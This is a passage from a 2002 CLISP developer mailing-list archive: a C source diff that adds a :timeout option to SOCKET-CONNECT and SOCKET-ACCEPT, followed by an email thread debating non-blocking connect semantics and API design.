INVALID_SOCKET; @@ -717,13 +717,12 @@ # This can (and should) be done multiple times for the same # socket_handle. -global SOCKET create_server_socket (host_data *hd, SOCKET sock, unsigned int port); -local SOCKET bindlisten_via_ip (struct sockaddr * addr, int addrlen); -local SOCKET bindlisten_via_ip(addr,addrlen) - var struct sockaddr * addr; - var int addrlen; - { +global SOCKET create_server_socket (host_data *hd, SOCKET sock, + unsigned int port); +local SOCKET bindlisten_via_ip (struct sockaddr * addr, int addrlen, + void* ignore) { var SOCKET fd; + (void)(ignore); # no options -- ignore # Get a socket. if ((fd = socket((int) addr->sa_family, SOCK_STREAM, 0)) == INVALID_SOCKET) return INVALID_SOCKET; @@ -733,7 +732,8 @@ # will still yield an error.) { var unsigned int flag = 1; - if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, (SETSOCKOPT_ARG_T)&flag, sizeof(flag)) < 0) { + if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, (SETSOCKOPT_ARG_T)&flag, + sizeof(flag)) < 0) { saving_sock_errno(CLOSESOCKET(fd)); return INVALID_SOCKET; } } @@ -756,7 +756,8 @@ var SOCKET fd; if (sock == INVALID_SOCKET) { # "0.0.0.0" allows connections from any host to our server - fd = with_hostname("0.0.0.0",(unsigned short)port,&bindlisten_via_ip); + fd = with_hostname("0.0.0.0",(unsigned short)port,&bindlisten_via_ip, + NULL); } else { var sockaddr_max addr; var SOCKLEN_T addrlen = sizeof(sockaddr_max); @@ -773,7 +774,7 @@ break; default: NOTREACHED; } - fd = bindlisten_via_ip((struct sockaddr *)&addr,addrlen); + fd = bindlisten_via_ip((struct sockaddr *)&addr,addrlen,NULL); } if (fd == INVALID_SOCKET) return INVALID_SOCKET; @@ -796,32 +797,56 @@ } # Creation of sockets on the client side: -# SOCKET fd = create_client_socket(hostname,port); +# SOCKET fd = create_client_socket(hostname,port,void* timeout); # creates a connection to a server (which must be waiting # on the specified host and port). -global SOCKET create_client_socket (const char* hostname, unsigned int port); -local SOCKET connect_via_ip (struct sockaddr * addr, int addrlen); -local SOCKET connect_via_ip(addr,addrlen) - var struct sockaddr * addr; - var int addrlen; - { +global SOCKET create_client_socket (const char* hostname, unsigned int port, + void* timeout); +local SOCKET connect_via_ip (struct sockaddr * addr, int addrlen, + void* timeout) { + # : + # - make a non-blocking socket, connect(), select() for WR var SOCKET fd; if ((fd = socket((int) addr->sa_family, SOCK_STREAM, 0)) == INVALID_SOCKET) return INVALID_SOCKET; #ifdef WIN32_NATIVE if (!lingerize_socket(&fd)) return INVALID_SOCKET; #endif + #ifdef FIONBIO + if (timeout) { + var int non_blocking_io = 1; + if (ioctl(fd,FIONBIO,&non_blocking_io) != 0) { return INVALID_SOCKET; } + } + #endif if (connect(fd, addr, addrlen) >= 0) return fd; + #ifdef FIONBIO + if (sock_errno_is(EINPROGRESS)) { + restart_select: + var fd_set handle_set; + FD_ZERO(&handle_set); FD_SET(fd,&handle_set); + var int ret = select(FD_SETSIZE,NULL,&handle_set,NULL, + (struct timeval*)timeout); + if (ret < 0) { + if (sock_errno_is(EINTR)) goto restart_select; + saving_sock_errno(CLOSESOCKET(fd)); return INVALID_SOCKET; + } + if (ret == 0) { # timeout + CLOSESOCKET(fd); errno = ETIMEDOUT; + return INVALID_SOCKET; + } + if (connect(fd, addr, addrlen) >= 0) + return fd; + } + #endif saving_sock_errno(CLOSESOCKET(fd)); return INVALID_SOCKET; } -global SOCKET create_client_socket(hostname,port) - var const char* hostname; - var unsigned int port; - { - return with_hostname(hostname,(unsigned short)port,&connect_via_ip); +global SOCKET create_client_socket (const char*hostname, unsigned intport, + void* timeout) { + return with_hostname(hostname,(unsigned short)intport, + &connect_via_ip,timeout); } # ==================== miscellaneous network related stuff ==================== Index: stream.d =================================================================== RCS file: /cvsroot/clisp/clisp/src/stream.d,v retrieving revision 1.280 diff -u -w -b -r1.280 stream.d --- stream.d 23 May 2002 19:26:59 -0000 1.280 +++ stream.d 26 May 2002 20:08:44 -0000 @@ -14730,15 +14730,80 @@ skipSTACK(1); } +# parse timeout argument +# sec = posfixnum or (SEC . USEC) or (SEC USEC) or float or ratio +# or nil/unbound +# usec = posfixnum or nil/unbound +# can trigger GC +local struct timeval * sec_usec (object sec, object usec, struct timeval *tv) { + if (eq(sec,unbound) || eq(sec,NIL)) { + return NULL; + } else if (consp(sec)) { + if (!nullp(Cdr(sec)) && eq(usec,unbound)) + usec = (consp(Cdr(sec)) ? Car(Cdr(sec)) : Cdr(sec)); + sec = Car(sec); + } else if (floatp(sec) || ratiop(sec)) { # sec = sec mod 1 + pushSTACK(sec); funcall(L(floor),1); + sec = value1; + if (eq(usec,unbound)) { # usec = round(sec*1000000) + pushSTACK(subr_self); # save subr_self + pushSTACK(value2); pushSTACK(fixnum(1000000)); funcall(L(mal),2); + pushSTACK(value1); funcall(L(round),1); + subr_self = popSTACK(); # restore subr_self + usec = value1; + } + } + if (!posfixnump(sec)) + fehler_posfixnum(sec); + tv->tv_sec = posfixnum_to_L(sec); + if (eq(usec,unbound) || eq(usec,NIL)) { + tv->tv_usec = 0; + } else { + if (!posfixnump(usec)) + fehler_posfixnum(usec); + tv->tv_usec = posfixnum_to_L(usec); + } + return tv; +} + +#if defined(HAVE_SELECT) || defined(WIN32_NATIVE) +# wait for the socket server to have a connection ready +# returns true iff socket_accept will return immediately +local bool socket_server_wait (object sose, struct timeval *tvp) { + var SOCKET handle = TheSocket(TheSocketServer(sose)->socket_handle); + #if defined(WIN32_NATIVE) + return interruptible_wait(handle,tvp); + #else + restart_select: + begin_system_call(); + var int ret; + var fd_set handle_set; + FD_ZERO(&handle_set); FD_SET(handle,&handle_set); + ret = select(FD_SETSIZE,&handle_set,NULL,NULL,tvp); + if (ret < 0) { + if (sock_errno_is(EINTR)) { + end_system_call(); goto restart_select; + } + SOCK_error(); + } + end_system_call(); + return (ret != 0); + #endif # WIN32_NATIVE +} +#endif + extern SOCKET accept_connection (SOCKET socket_handle); -# (SOCKET-ACCEPT socket-server [:element-type] [:external-format] [:buffered]) -LISPFUN(socket_accept,1,0,norest,key,3, - (kw(element_type),kw(external_format),kw(buffered)) ) { +# (SOCKET-ACCEPT socket-server [:element-type] [:external-format] [:buffered] +# [:timeout]) +LISPFUN(socket_accept,1,0,norest,key,4, + (kw(element_type),kw(external_format),kw(buffered),kw(timeout)) ) { var SOCKET sock; var decoded_el_t eltype; var signean buffered; var SOCKET handle; + var struct timeval tv; + var struct timeval *tvp = sec_usec(popSTACK(),unbound,&tv); test_socket_server(STACK_3,true); @@ -14753,6 +14818,12 @@ # Check and canonicalize the :EXTERNAL-FORMAT argument: STACK_1 = test_external_format_arg(STACK_1); + #if defined(HAVE_SELECT) || defined(WIN32_NATIVE) + if (tvp && !socket_server_wait(STACK_3,tvp)) { # handle :TIMEOUT + skipSTACK(4); sock_set_errno(ETIMEDOUT); OS_error(); + } + #endif + sock = TheSocket(TheSocketServer(STACK_3)->socket_handle); begin_system_call(); handle = accept_connection (sock); @@ -14766,52 +14837,13 @@ skipSTACK(4); } -local struct timeval * sec_usec (object sec, object usec, struct timeval *tv) { - if (eq(sec,unbound) || eq(sec,NIL)) { - return NULL; - } else { - if (!posfixnump(sec)) - fehler_posfixnum(sec); - tv->tv_sec = posfixnum_to_L(sec); - if (eq(usec,unbound) || eq(usec,NIL)) { - tv->tv_usec = 0; - } else { - if (!posfixnump(usec)) - fehler_posfixnum(usec); - tv->tv_usec = posfixnum_to_L(usec); - } - return tv; - } -} - # (SOCKET-WAIT socket-server [seconds [microseconds]]) LISPFUN(socket_wait,1,2,norest,nokey,0,NIL) { + test_socket_server(STACK_2,true); #if defined(HAVE_SELECT) || defined(WIN32_NATIVE) - var SOCKET handle; var struct timeval timeout; var struct timeval * timeout_ptr = sec_usec(STACK_1,STACK_0,&timeout); - test_socket_server(STACK_2,true); - handle = TheSocket(TheSocketServer(STACK_2)->socket_handle); - #if defined(WIN32_NATIVE) - value1 = interruptible_wait(handle,timeout_ptr) ? T : NIL; - #else - restart_select: - begin_system_call(); - { - var int ret; - var fd_set handle_set; - FD_ZERO(&handle_set); FD_SET(handle,&handle_set); - ret = select(FD_SETSIZE,&handle_set,NULL,NULL,timeout_ptr); - if (ret < 0) { - if (sock_errno_is(EINTR)) { - end_system_call(); goto restart_select; - } - SOCK_error(); - } - end_system_call(); - value1 = (ret == 0) ? NIL : T; - } - #endif # WIN32_NATIVE + value1 = socket_server_wait(STACK_2,timeout_ptr) ? T : NIL; #else value1 = NIL; #endif @@ -14819,15 +14851,19 @@ skipSTACK(3); } -extern SOCKET create_client_socket (const char* host, unsigned int port); +extern SOCKET create_client_socket (const char* host, unsigned int port, + void* timeout); -# (SOCKET-CONNECT port [host] [:element-type] [:external-format] [:buffered]) +# (SOCKET-CONNECT port [host] [:element-type] [:external-format] [:buffered] +# [:timeout]) LISPFUN(socket_connect,1,1,norest,key,3, - (kw(element_type),kw(external_format),kw(buffered)) ) { + (kw(element_type),kw(external_format),kw(buffered),kw(timeout)) ) { var char *hostname; var decoded_el_t eltype; var signean buffered; var SOCKET handle; + var struct timeval tv; + var struct timeval *tvp = sec_usec(popSTACK(),unbound,&tv); if (!posfixnump(STACK_4)) fehler_posfixnum(STACK_4); @@ -14851,7 +14887,7 @@ fehler_string(STACK_3); begin_system_call(); - handle = create_client_socket(hostname,posfixnum_to_L(STACK_4)); + handle = create_client_socket(hostname,posfixnum_to_L(STACK_4),tvp); if (handle == INVALID_SOCKET) { SOCK_error(); } end_system_call(); value1 = make_socket_stream(handle,&eltype,buffered, Index: subr.d =================================================================== RCS file: /cvsroot/clisp/clisp/src/subr.d,v retrieving revision 1.92 diff -u -w -b -r1.92 subr.d --- subr.d 21 May 2002 14:57:05 -0000 1.92 +++ subr.d 26 May 2002 20:08:45 -0000 @@ -964,12 +964,12 @@ LISPFUN(socket_server,0,1,norest,nokey,0,NIL) LISPFUNN(socket_server_port,1) LISPFUNN(socket_server_host,1) -LISPFUN(socket_accept,1,0,norest,key,3,\ - (kw(element_type),kw(external_format),kw(buffered)) ) +LISPFUN(socket_accept,1,0,norest,key,4,\ + (kw(element_type),kw(external_format),kw(buffered),kw(timeout)) ) LISPFUN(socket_wait,1,2,norest,nokey,0,NIL) LISPFUN(socket_status,1,2,norest,nokey,0,NIL) -LISPFUN(socket_connect,1,1,norest,key,3,\ - (kw(element_type),kw(external_format),kw(buffered)) ) +LISPFUN(socket_connect,1,1,norest,key,4,\ + (kw(element_type),kw(external_format),kw(buffered),kw(timeout)) ) LISPFUNN(socket_stream_port,1) LISPFUNN(socket_stream_host,1) LISPFUN(socket_stream_peer,1,1,norest,nokey,0,NIL) Index: subrkw.d =================================================================== RCS file: /cvsroot/clisp/clisp/src/subrkw.d,v retrieving revision 1.22 diff -u -w -b -r1.22 subrkw.d --- subrkw.d 2 Apr 2002 21:03:42 -0000 1.22 +++ subrkw.d 26 May 2002 20:08:46 -0000 @@ -167,7 +167,7 @@ #endif #endif #ifdef SOCKET_STREAMS -v(3, (kw(element_type),kw(external_format),kw(buffered)) ) +v(4, (kw(element_type),kw(external_format),kw(buffered),kw(timeout)) ) s(socket_accept) s(socket_connect) #endif Index: constsym.d =================================================================== RCS file: /cvsroot/clisp/clisp/src/constsym.d,v retrieving revision 1.144 diff -u -w -b -r1.144 constsym.d --- constsym.d 21 May 2002 14:57:06 -0000 1.144 +++ constsym.d 26 May 2002 20:08:46 -0000 @@ -888,6 +888,7 @@ LISPSYM(socket_stream_host,"SOCKET-STREAM-HOST",socket) LISPSYM(socket_stream_peer,"SOCKET-STREAM-PEER",socket) LISPSYM(socket_stream_local,"SOCKET-STREAM-LOCAL",socket) +LISPSYM(Ktimeout,"TIMEOUT",keyword) #ifdef HAVE_SHUTDOWN LISPSYM(socket_stream_shutdown,"SOCKET-STREAM-SHUTDOWN",socket) #endif --=-=-=-- From tsabin@optonline.net Sun May 26 16:48:53 2002 Received: from ool-43518593.dyn.optonline.net ([67.81.133.147] helo=jetcar.qnz.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17C7kp-0002a8-00 for ; Sun, 26 May 2002 16:48:51 -0700 Received: (from tas@localhost) by jetcar.qnz.org (8.9.3/8.9.3) id TAA15859; Sun, 26 May 2002 19:48:03 -0400 X-Authentication-Warning: jetcar.qnz.org: tas set sender to tas@jetcar.qnz.org using -f To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] socket-connect's timeout References: <20020524233858.87830.qmail@web20901.mail.yahoo.com> From: Todd Sabin In-Reply-To: (Sam Steingold's message of "Sun, 26 May 2002 17:16:21 -0400") Message-ID: Lines: 57 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun May 26 16:49:03 2002 X-Original-Date: 26 May 2002 19:48:03 -0400 Sam Steingold writes: > basically, I added the :timeout keyword arg to SOCKET-ACCEPT and > SOCKET-CONNECT so that > > (socket-accept s :timeout x) == > > (if (socket-wait s x) > (socket-accept s) > (error 'timeout)) Given SOCKET-STATUS, this isn't really necessary for SOCKET-ACCEPT. Doesn't hurt, though. > and similarly for SOCKET-CONNECT. > > Todd, this is not what you want, I know, you prefer the UNIX way of > returning NIL instead of signaling an error. The lisp way (as I > understand it) is to return a valid object or to signal an error. > > You can get the behavior you want using IGNORE-ERRORS, while a careless > user might get stuck with SOCKET-CONNECT returning NIL here: > > (let ((s (socket-connect 80 "www.foo.com" :timeout 1))) > (format s "GET /~2%") > (read-all s)) > > if S is NIL, format will succeed, while READ-ALL will probably block > trying to read from *STANDARD-INPUT*. You've misunderstood what I want. I have no problem with (socket-connect ... :timeout N) signaling an error if the timeout expires, and I agree that's the right thing. But what I want is something different, namely some form of socket-connect which doesn't block, even in the success cases. The only way to do that is to have the C socket-connect not handle the timeout, but to always return a stream (which may not be fully connected yet). Then in lisp, you can either do (socket-status (stream . output) N) and signal an error if the stream isn't fully connected within your timeout, or you can put the not-fully-connected stream into your state machine, if you happen to be trying to write a non-blocking TCP server and you don't have threads. Either way, the C socket-connect always either returns a valid object or signals an error. If a user were to try to use the not fully connected stream, they'd just end up blocking at that point. But you wouldn't expose users to this by default. Since the non-blocking semantics are different from the existing behavior, I was suggesting that the C SOCKET-CONNECT be renamed to SOCKET-CONNECT%, and then write the normal SOCKET-CONNECT in lisp. That way users would see the behavior you're talking about, but people can still get a true non-blocking socket-connect if they want it. Does that make any more sense? Todd From ampy@ich.dvo.ru Sun May 26 20:02:20 2002 Received: from farpost.com ([212.107.195.33]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17CAlz-00068C-00 for ; Sun, 26 May 2002 20:02:15 -0700 Received: (qmail 1088 invoked from network); 27 May 2002 03:01:55 -0000 Received: from unknown (HELO vladpress.vl.ru) (212.107.205.50) by vladpress.vl.ru with SMTP; 27 May 2002 03:01:55 -0000 Received: from localhost [127.0.0.1] by vladpress [127.0.0.1] with SMTP (MDaemon.v2.7.SP4.R) for ; Mon, 27 May 2002 14:01:41 +1000 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <3716903646.20020527140140@ich.dvo.ru> To: Todd Sabin CC: clisp-list@lists.sourceforge.net, Sam Steingold Subject: Re[2]: [clisp-list] socket-connect's timeout In-reply-To: References: <20020524233858.87830.qmail@web20901.mail.yahoo.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-MDaemon-Deliver-To: clisp-list@lists.sourceforge.net X-Return-Path: ampy@ich.dvo.ru Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun May 26 20:03:01 2002 X-Original-Date: Mon, 27 May 2002 14:01:40 +1000 Hello, Monday, May 27, 2002, 9:48:03 AM, you wrote: Todd> You've misunderstood what I want. I have no problem with Todd> (socket-connect ... :timeout N) signaling an error if the timeout Todd> expires, and I agree that's the right thing. But what I want is Todd> something different, namely some form of socket-connect which doesn't Todd> block, even in the success cases. By analogy with socket-wait it can be (socket-connect .. :timeout 0) (but socket-wait has &optional, not &keyword timeout). But Sam's patch turns off blocking - doesn't it result in wrong recv/read/send/write handling ? BTW I believe, Berkeley guys wasn't so stupid to not implement TCP/IP on existing file API if it was possible. I mean, I think, if we working with sockets as with streams we should be ready wor some lack of functionality. OTOH that lack of functionality can result in big gain in generality thus speed of development, maintainability (at Lisp layer) etc. -- Best regards, Arseny mailto:ampy@ich.dvo.ru From tsabin@optonline.net Sun May 26 22:10:01 2002 Received: from ool-43518593.dyn.optonline.net ([67.81.133.147] helo=jetcar.qnz.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17CClb-0003mF-00 for ; Sun, 26 May 2002 22:09:59 -0700 Received: (from tas@localhost) by jetcar.qnz.org (8.9.3/8.9.3) id BAA17142; Mon, 27 May 2002 01:08:27 -0400 X-Authentication-Warning: jetcar.qnz.org: tas set sender to tas@jetcar.qnz.org using -f To: Arseny Slobodjuck Cc: clisp-list@lists.sourceforge.net, Sam Steingold Subject: Re: Re[2]: [clisp-list] socket-connect's timeout References: <20020524233858.87830.qmail@web20901.mail.yahoo.com> <3716903646.20020527140140@ich.dvo.ru> From: Todd Sabin In-Reply-To: <3716903646.20020527140140@ich.dvo.ru> (Arseny Slobodjuck's message of "Mon, 27 May 2002 14:01:40 +1000") Message-ID: Lines: 42 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun May 26 22:11:02 2002 X-Original-Date: 27 May 2002 01:08:26 -0400 Arseny Slobodjuck writes: > Hello, > > Monday, May 27, 2002, 9:48:03 AM, you wrote: > > Todd> You've misunderstood what I want. I have no problem with > Todd> (socket-connect ... :timeout N) signaling an error if the timeout > Todd> expires, and I agree that's the right thing. But what I want is > Todd> something different, namely some form of socket-connect which doesn't > Todd> block, even in the success cases. > > By analogy with socket-wait it can be (socket-connect .. :timeout 0) > (but socket-wait has &optional, not &keyword timeout). Correct me if I'm wrong, but using socket-connect with :timeout 0 will (virtually) always signal an error, since you'll never get connected instantly. (Perhaps you would on loopback.) That is not what I want. > But Sam's patch turns off blocking - doesn't it result in wrong > recv/read/send/write handling ? If it doesn't turn blocking back on, which it seems it doesn't, then yes, that's a problem that needs to be fixed regardless. > BTW I believe, Berkeley guys wasn't so stupid to not implement TCP/IP > on existing file API if it was possible. I mean, I think, if we > working with sockets as with streams we should be ready wor some > lack of functionality. OTOH that lack of functionality can result in > big gain in generality thus speed of development, maintainability (at > Lisp layer) etc. The flip side of that is that they give you all those socket options, non-blocking handles, etc., if you didn't actually _need_ them sometimes. I have no problem with the normal interfaces in clisp picking sane defaults for that stuff. I do have a problem with the fact that there's no way to workaround them without completely abandoning the provided interfaces, and starting from scratch with linux:socket, linux:connect, etc. Todd From ampy@ich.dvo.ru Mon May 27 05:08:11 2002 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17CJIA-0003OA-00 for ; Mon, 27 May 2002 05:08:02 -0700 Received: from ppp112-AS-2.vtc.ru (ppp112-AS-2.vtc.ru [212.16.216.112]) by vtc.ru (8.12.3/8.12.3) with ESMTP id g4RC7VLp029477; Mon, 27 May 2002 23:07:35 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <682923854.20020527220057@ich.dvo.ru> To: Sam Steingold CC: clisp-list@lists.sourceforge.net Subject: Re[2]: [clisp-list] socket-connect's timeout In-reply-To: References: <20020524233858.87830.qmail@web20901.mail.yahoo.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon May 27 05:09:02 2002 X-Original-Date: Mon, 27 May 2002 22:00:57 +1000 Hello Sam, Monday, May 27, 2002, 7:16:21 AM, you wrote: Sam> Specifically win32: what's the MS-way to do ioctl/FIONBIO? They call it WSPIoctl. IIUC it should be errorp = WSPIoctl(socket,FIONBIO,&unsigned_long_nonblockp, sizeof(unsigned_long_nonblockp),NULL,0,NULL,NULL,NULL,NULL,&errno_returned); But it needs experimenting. -- Best regards, Arseny mailto:ampy@ich.dvo.ru From ampy@ich.dvo.ru Mon May 27 05:08:11 2002 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17CJIB-0003O8-00 for ; Mon, 27 May 2002 05:08:04 -0700 Received: from ppp112-AS-2.vtc.ru (ppp112-AS-2.vtc.ru [212.16.216.112]) by vtc.ru (8.12.3/8.12.3) with ESMTP id g4RC7VLq029477; Mon, 27 May 2002 23:07:39 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <1865127272.20020527223741@ich.dvo.ru> To: Todd Sabin CC: clisp-list@lists.sourceforge.net Subject: Re[4]: [clisp-list] socket-connect's timeout In-reply-To: References: <20020524233858.87830.qmail@web20901.mail.yahoo.com> <3716903646.20020527140140@ich.dvo.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon May 27 05:09:02 2002 X-Original-Date: Mon, 27 May 2002 22:37:41 +1000 Hello Todd, Monday, May 27, 2002, 3:08:26 PM, you wrote: >> Todd> You've misunderstood what I want. I have no problem with >> Todd> (socket-connect ... :timeout N) signaling an error if the timeout >> Todd> expires, and I agree that's the right thing. But what I want is >> Todd> something different, namely some form of socket-connect which doesn't >> Todd> block, even in the success cases. >> >> By analogy with socket-wait it can be (socket-connect .. :timeout 0) >> (but socket-wait has &optional, not &keyword timeout). Todd> Correct me if I'm wrong, but using socket-connect with :timeout 0 will Todd> (virtually) always signal an error, since you'll never get connected Todd> instantly. (Perhaps you would on loopback.) That is not what I want. Yes, you're right. But socket-wait doesn't return an error - it polls (and it's convenient). What if we'll have analog of socket-wait but for client side - call it, say connect-wait or wait-connect or client-wait... It will turn blocking off, starts connecting (if connection wasn't started yet), waits checking whether connection ready and returns nil or t depending on result. Then socket-connect (when called) checks the status, turns on the blocking and signals an error or returns stream in full harmony with Lisp spirit balancing Client and Server sides of Connection... How do you like it ? -- Best regards, Arseny mailto:ampy@ich.dvo.ru From tsabin@optonline.net Mon May 27 08:42:26 2002 Received: from ool-43518593.dyn.optonline.net ([67.81.133.147] helo=jetcar.qnz.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17CMdc-0001BT-00 for ; Mon, 27 May 2002 08:42:24 -0700 Received: (from tas@localhost) by jetcar.qnz.org (8.9.3/8.9.3) id LAA18448; Mon, 27 May 2002 11:41:21 -0400 X-Authentication-Warning: jetcar.qnz.org: tas set sender to tas@jetcar.qnz.org using -f To: Arseny Slobodjuck Cc: clisp-list@lists.sourceforge.net Subject: Re: Re[4]: [clisp-list] socket-connect's timeout References: <20020524233858.87830.qmail@web20901.mail.yahoo.com> <3716903646.20020527140140@ich.dvo.ru> <1865127272.20020527223741@ich.dvo.ru> From: Todd Sabin In-Reply-To: <1865127272.20020527223741@ich.dvo.ru> (Arseny Slobodjuck's message of "Mon, 27 May 2002 22:37:41 +1000") Message-ID: Lines: 33 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon May 27 08:43:02 2002 X-Original-Date: 27 May 2002 11:41:21 -0400 Arseny Slobodjuck writes: > Todd> Correct me if I'm wrong, but using socket-connect with :timeout 0 will > Todd> (virtually) always signal an error, since you'll never get connected > Todd> instantly. (Perhaps you would on loopback.) That is not what I want. > Yes, you're right. But socket-wait doesn't return an error - it polls (and > it's convenient). What if we'll have analog of socket-wait but for client > side - call it, say connect-wait or wait-connect or client-wait... It will > turn blocking off, starts connecting (if connection wasn't started yet), > waits checking whether connection ready and returns nil or t depending on > result. Then socket-connect (when called) checks the status, turns on the > blocking and signals an error or returns stream in full harmony with Lisp > spirit balancing Client and Server sides of Connection... How do you > like it ? Well, I'm not very clear on how your proposal would work. What would you pass to SOCKET-CONNECT to indicate that you want to use whatever it is you get from CLIENT-WAIT? And I don't really want a separate function for the waiting. I want to be able to take and use in with socket-status, along with all the other open connections my server is processing. What about the idea of having a SOCKET-CONNECT% didn't you like? I don't suppose it makes sense to re-suggest the stuff in: http://www.geocrawler.com/archives/3/1124/2002/1/100/7517822/ does it? Sam already shot that down, but it's another way of dealing with this, as well as providing UDP sockets, unix domain sockets, etc. To tell the truth, I've already implemented most of that locally. It needs some refinement, but works just fine. Todd From sds@gnu.org Mon May 27 09:20:49 2002 Received: from pool-151-203-42-185.bos.east.verizon.net ([151.203.42.185] helo=loiso.podval.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17CNEm-00042C-00 for ; Mon, 27 May 2002 09:20:48 -0700 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.11.6/8.11.6) with ESMTP id g4RGLQf28572; Mon, 27 May 2002 12:21:26 -0400 To: Todd Sabin Cc: Arseny Slobodjuck , clisp-list@lists.sourceforge.net Subject: Re: Re[4]: [clisp-list] socket-connect's timeout References: <20020524233858.87830.qmail@web20901.mail.yahoo.com> <3716903646.20020527140140@ich.dvo.ru> <1865127272.20020527223741@ich.dvo.ru> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 51 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon May 27 09:21:02 2002 X-Original-Date: 27 May 2002 12:21:26 -0400 > * In message > * On the subject of "Re: Re[4]: [clisp-list] socket-connect's timeout" > * Sent on 27 May 2002 11:41:21 -0400 > * Honorable Todd Sabin writes: > > What about the idea of having a SOCKET-CONNECT% didn't you like? KISS - keep it simple. first, this is not really necessary. if we really will introduce the "half-baked streams" (i.e., streams that will start any i/o operation with a connect() syscall), they can be created when the timeout is 0 (i.e. when otherwise we are guaranteed to get an error). second, I am not sure these "half-baked streams" are a good isea. what do you need them for? > I don't suppose it makes sense to re-suggest the stuff in: > http://www.geocrawler.com/archives/3/1124/2002/1/100/7517822/ does it? here is the problem. I _know_ what you want: you want, basically, bindings/linuxlibc6 in CLISP at all times on all platforms (this is actually what I wanted when I added --with-export-syscalls). Therefore anything short of that will not satisfy you, and a lot of that will not be portable (even across unixes) and will not work too well with the traditional Lisp paradigms, therefore this SOCKET-CONNECT% (which should actually be %SOCKET-CONNECT! :-) will not be enough for you and will be too much for "lisp purists" :-( > Sam already shot that down, but it's another way of dealing with this, > as well as providing UDP sockets, unix domain sockets, etc. To tell > the truth, I've already implemented most of that locally. It needs > some refinement, but works just fine. good. first, wrap it into `#ifdef EXPORT_SYSCALLS'. second, please do try to go a step up from bindings/linuxlibc6: a lot of stuff here can be unified in one function (e.g., FILE-STAT unifies lstat() and fstat()). third, provide a way to get back into the Lisp world, i.e., something like `sys:make-fd-stream' in CMUCL to convert a socket to a stream. (BTW, since the word `socket' is already overused, please call your new type `handle'). -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Press any key to continue or any other key to quit. From sds@gnu.org Mon May 27 09:31:08 2002 Received: from pool-151-203-42-185.bos.east.verizon.net ([151.203.42.185] helo=loiso.podval.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17CNOm-0004xQ-00 